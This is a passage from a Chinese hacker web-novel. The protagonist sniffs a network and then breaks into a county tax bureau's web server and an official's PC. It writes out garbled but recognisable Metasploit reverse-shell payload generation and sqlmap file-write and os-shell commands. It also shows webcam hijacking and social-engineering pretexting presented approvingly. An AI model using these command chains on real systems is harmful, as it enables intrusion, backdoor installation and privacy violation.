“系统源码有没有扩散?!”
“到目前为止还没有,我已经让f4d去深挖了,他已经承诺在最短的时间内找到那个家伙。”
“f4d?暗网黑客榜第七的家伙?你居然联系了他?”
“eugene我希望你不是在开玩笑。”
“这次不是我在开玩笑,是上帝!”eugene狠狠的按灭香烟,顶着黑黑的眼圈,站起了身,“事情通知给你们了,我希望你们做好相应的准备。”语罢,eugene拖着疲乏的步子,推开了会议室的大门。在确定源码正确性的那一刻,他感到天空似乎都塌了,股东会上,有一点他没有说,就是这套泄露的程序源码,有些东西他也没有研究透,也就是说,这个套源码比现在任意一款卡巴斯基的杀毒系统!不!是比任意一款发型的杀毒软件都要先进!
抬头看了看窗外的天,eugene希望f4d能尽快的给自己消息!
亚洲,华夏广西柳州,一个小县城的加油站旁,有一个24小时营业的便利店,便利店二楼上的灯光,从凌晨一直亮到了现在。
灯光下一道消瘦的身影,正眯着眼窝深陷的双眼,盯着屏幕上一段有些纷乱的网络数据传输编码,皱着眉头看着。
某一刻,消瘦的身影抬起了头,突然亮起的窗外让他的双眼有些不适的轻闭了一下,分析依然失败!
这个人就是f4d,暗网黑客排行榜第七的家伙,“疯狂银行”的创始人之一!
沉默了良久f4d,伸出了他的双手,右手中指出的空缺,能让人想到,他有一段不是很好的经历,点燃一颗烟,提了提神,f4d通过ssh链接上了一台服务器,进入了一个加密的irc频道。
“full,狐狸的真实数据已经捕获,ip确定在华夏,不过数据是碎片话的无法填补完成。”
“你居然无法确定他的真实ip?‘疯狂银行’可是你参与搭建的,我不相信你没有他的真实登录数据!”
“他使用的是自有协议,兼容‘疯狂银行’的传输协议,我追踪了十二到代理跳转,最终也只能追踪到华夏。”顿了吨,f4d,眼睛微微眯了起来,“他的反追踪技术在我之上!”
看着irc频道上断开链接的提示,full无力的靠在了椅背上,“希望他不会有下一步动作……”
柳州f4d住处,房间的灯被关掉了,房门打开,f4d提着一个垃圾袋走出了24小时营业的便利店,看着来往的汽车,他站定了步子,抬头看向了太阳,“通过商城转移资金吗,狐狸,你成功的勾起了我的兴趣。”
扔掉手中的垃圾,f4d微微笑了一下,转身向着停靠在便利店胖的一辆吉普走了过去。“你的地址我无法确定,不过支付宝的服务器在那里,我可是很清楚。”
秋水县二中,早上第一节课上完,本打算问一下张素雪休息的怎么样的淼风,被数学老师张俊芳叫到了她的办公室。
“淼风,昨晚在你工作的地方是不是发生了什么事?”刚进办公室,张俊芳脸色不太好看的转身问道。
淼风愣了愣,脸色依然平静。
“好吧,其他的我不多说,今天教导主任过来找我,说有派出所的同志来找过他,说是你昨晚在工作的地方有不良记录。”看到淼风没有开口说话的意思,张俊芳不由摇了摇头。
听到张俊芳的话,淼风眉头皱了起来。“没想到他们真的有动作了,而且还这么快。”心里嘀咕了一句,淼风看了看张俊芳,依旧没有说话。
“哎,你先回去吧,事情我先想办法了解清楚,看能不能给你解决掉。”挥了挥手,张俊芳转身拿起了手机,开始翻找电话号码。
淼风没有停留,直接转身走出了办公室,只是他没有会教室,而是握着拳头走出了校门。
回到宿舍给米卡再次喂了一些食物后,淼风拿起银行卡再次向着星空网吧走去,昨晚的嗅探,应该已经有数据发到他的邮箱了。
ps:求收藏!推荐!
第十一章 内网渗透()
嗅探,是个很古老的技术,要知道在以太网中,所有的通讯都是广播的,也就是说通常在同一个网段的所有网络接口都可以访问在物理媒体上传输的所有数据,而每一个网络接口都有一个唯一的硬件地址,这个硬件地址也就是网卡的mac地址,大多数系统使用48比特的地址,这个地址用来表示网络中的每一个设备,一般来说每一块网卡上的mac地址都是不同的,每个网卡厂家得到一段地址,然后用这段地址分配给其生产的每个网卡一个地址。在硬件地址和ip地址间使用arp和rarp协议进行相互转换。
正常状态下,网卡会根据基于osi模型的tcp/ip协议,接受和发送只和自己mac或者是ip相关的数据,可一旦网卡处在了另一种混杂模式的时候,它会接受任何一个经过它的广播数据包,如果在加上arp网关欺骗,那么捕获到的数据将是整个交换机下主机的通信数据,根据网络传输协议的编码原则,这些数据在没有加密的情况下,是很容易进行分析的,而且数据报文也是明码显示的。
脑中想着嗅探的原理,淼风在网管李志的注视目光中,再次坐在了19号机前。
打开自己临时注册的邮箱,看到附件大小不定的十几封邮件,淼风握了握双手,嘴角一动,开始分析数据。
时间悄然流失,淼风抽着烟,靠在椅子上,滚动着鼠标,半眯着眼睛查看着一封封凌乱的数据邮件,同时脑中同步进行着数据分析。
十几分钟后,淼风坐直了身子,伸出被他放进口袋取暖的左手,开始敲打键盘。
新建的txt文档中,涉及地税局副局长陈升的信息被罗列了出来。
陈升,地税局副局长,1月14日晚上九点将参加由市局统筹安排的领导见面会,秘书姓名:宋云。
手机号码:130xxxx9987;内线座机8971,办公电脑ip:10。3。3。97。
看着从庞大嗅探数据中捕获的简短信息,淼风吐了口气,再次安装了虚拟机,并加载了自己的linux_live_cd,启动sqlmap,用昨晚相同的方式进入了地税局web服务器。
启动metasploit,payload_windows/meterpreter/reverse_tcp_lhost=星空网吧外网ip_lport=443_r_|_msfencode–b_–t_exe_–o_root/desktop/fox。exe生成反弹链接后门。
iffig查看了一下本地链接ip网关地址,浏览器打开网关,看到tp标识的时候,淼风点了点头,直接通过几年后tp的路由web后门将本机内网ip设置成了dmz主机(将内网主机所有端口全部映射到外网)。
sqlmap。py_-u_〃dishuijuguanfangwebzhurudian〃--file-write_〃/root/desktop/fox。exe〃--file-dest_〃c:/windows/temp/fox。exe〃_-v_1将反弹后门写入地税局官网web服务器的windows下的temp目录,文件名为fox。exe
sqlmap添加--os-shell,通过shell执行fox。exe,几秒中之后metasploit显示成功,反弹回一个meterpreter的shell。
namp_10。3。3。97,返回端口开发情况135;448;139……,随便从metasploit中找了一windows的exploit,对10。3。3。97溢出!getshell成功!
陈升主机被拿下!罗列了一下主机的硬件信息后,让淼风发现了一个有意思的东西,陈升的主机装着耳麦和摄像头!“这下我可以看一下你工作的时候都在干什么了!不过不急,让我看看你的电脑上都放着什么东西。”
吐了口气,淼风开始罗列陈升电脑上的文件,计划书丢弃,工作安排丢弃,“这个是……”看着以“重要文件”命名的文件中显示的三百多个以avi后缀名的文件,淼风眉头动了一下。调用本地视频播放软件打开之后,一个穿着三点的半裸女人出现在了淼风屏幕上。
就在这个时候因为好奇,李志来的了淼风身旁,瞄过来的视线恰巧看到了同样的画面。“这个家伙大白天的看这些东西,倒是有几分胆色。”轻笑了一声,李志回身回到了自己网管的位置上。
大白天的看,李志心里肯定了淼风并不是什么黑客,同时也不有的郁闷起来,cs的技术他还要再练啊,秋水一个不大的县城都卧虎藏龙,不努力恐怕不行了。
因为猛然见跳出的画面,愣神的淼风,并没有发现李志的动作。吸了口气,将画面关掉,淼风不由低声咒骂了一声陈升,心里更是对搞定陈升多出了一份没来由的急切。
再次回到陈升电脑的桌面文件夹,淼风随意的打开了“工作安排”的word文件。
看到1月14号晚上11点特别活动不必回家的备注时,淼风愣了。“这是什么意思?”想了几分钟,发现根本想不通后,淼风打开了陈升主机上的视频摄像头,他想看看这个时候的陈升到底在干嘛。
一个烫了卷发,带着银色边框的圆脸女人,突兀的出现在了屏幕上,让淼风有些意外的愣了一下。眼睛猛地一闪,淼风双手一动,暂时接管了陈升主机键盘的并快速的按下了截屏键,截屏键prtscsysrq弹起的那一刻,淼风退出了键盘接管。
坐在陈升电脑前的宋云,眉头动了动,她发现自己刚刚准备敲打的几个字错了一个。有些无奈的再次删除,重新敲到了一遍,她似乎根本就没有感觉到键盘在某一刻并不属于她。
看着截屏下来的屏幕图片,淼风终于搞懂了那句备注到底是什么意思了。因为宋云正在操作的文件就是“工作安排”。摸了摸鼻子,淼风不仅有点庆幸自己的运气了,“如果我是在之前打开,word十分钟自动保存的功能,或许保存的是之前的文件。”
这句话是宋云操作陈升的电脑留下的,想来两人的关系一定不一般,这个“工作安排”的word文件,一定是两人进行某种交流时使用的工具。
再次看了视频中的宋云一眼,淼风觉得自己有必要去地税局走一趟了,“不过在去之前,我还得准备一些东西。”
第十二章 信息收集()
行走在回宿舍的路上,淼风脑中开始整理自己得到的所有关于陈升的信息。
陈升,秋水县地税局副局长,男,年龄41岁,大专学历,手机号码:130xxxx9987,居住地址是秋水县福源小区3栋102号房(地税局个人档案记录地址),经常吃饭的地点是醉美人和秋水县另一家比较不错的张家桥餐馆。在这个两个吃饭的地点,他都有自己的独有包间(在醉美人工作时,李老头说的)。
内线座机8971,办公电脑ip:10。3。3。97,主机操作系统windows_xp,装有耳机和摄像头。电脑是他和秘书宋云联系的一件特殊工具。
和秘书宋云关系特别,在1月14日晚上九点将会参加由市局统筹安排的领导见面会,11点以后,会和宋云有一些事情发生。
这些信息还达不到oxmodeoxm第一黑客准则,实施的要求。所以淼风还要在现实中收集信息,如果是十年之后,现实中收集信息的任务淼风是不参与的,因为有另一个人帮他搞定,那就是生日时,从他oxmode记忆中浮现的铁狼。
回到宿舍,淼风换上了十年之后的装扮,深色的羽绒服竖起的衣领刚刚遮住淼风的下巴,脚下一双纯手工制作的牛皮鞋让他身子缓缓的暖了起来,黑色的皮手套在戴上的那一刻,把他的细长双手衬托的更加细长了。眸子一暗,淼风的气质转瞬间改变,十年之后的那只狐狸又回来了!
给米卡喂了一些回来路上买的食物后,淼风将头发打乱,骑着六弟的单车再次离开了宿舍。
目的地——秋水县地税局。
安全三要素是安全的基本组成元素,gfidentiality,iy,avaibility,及机密性,完整性,可用性。其中机密性就是保证数据内容不能泄漏,在机密性中,最常用的防护措施是加密,加密常用的方式就是对所谓的“安全边界”进行加密。
但是在所有的“安全边界”中,只有人是最不好控制的。所以,社会工程学,才会有让人意想不到的威力。社会工程学,突破“安全边界”的无上利器!
因为接近年关,地税局里除了几个值班的人员外,并没有其他多余的人,而宋云在处理完一些事情后,也有些无所事事的,坐回了自己的办公位上,开始玩起了qq游戏,等待着地税局食堂做好饭的电话通知。
秋水县地税局,停车场,淼风锁好六弟的自行车之后,绕着地税局的办公大楼转了一圈后,来到了前面的门岗。
门岗室里,一个老头端着茶水正在看着报纸。四周观望了一会儿后,淼风拿出了一包烟,拍了拍脸,换上了一副笑脸后,推门走进了门岗室。
“恩……”门岗老头在房门打开了的时候,有些诧异的抬起了头。再过十几分钟就要吃饭了,这个时间点,一般不会有人来地税局的,再说来来地税局的人,也从来没有人进过他的门岗室。
看着眼前装扮时尚的少年,老头放下了手中的报纸,“娃子,有什么事儿?”老头语气和善,似乎并不反感淼风私自闯进他的领地。
“大爷,我等个人,外面太冷,我……”不好意思的挠了挠头,淼风有些拘谨的从手中的香烟盒里抽出了一颗烟,微笑的递了过去。
“坐吧,现在你们年轻人啊,为了外表,使劲的减衣服,冷了吧。不过,还是年轻好,老头我年轻的时候,身子骨硬也抗冻。”老头很健谈,接过淼风手中的烟后,直接从口袋里拿出了打火机点燃了,“你今年多大?”
“过完年就十八了。”淼风答了一句,目光透过门岗的窗户,看向了地税局的办公大楼。“大爷这里应该放假了吧。”
“放假了,不过有几个人会不定时的过来一下,这不昨天收到通知说上面更换了领导,新领导想今天到这里视察一下。原本休息的人,因为这个也都抽空过来了。”抽了口烟,老头端起了茶水。
“来的时候,没注意,这里居然是地税局耶。”淼风语气有些惊讶的转头看向了窗外。“听我们小区里的人说,我们小区里就有一个县地税局�
小提示:按 回车 [Enter] 键 返回书目,按 ← 键 返回上一页, 按 → 键 进入下一页。
赞一下
添加书签加入书架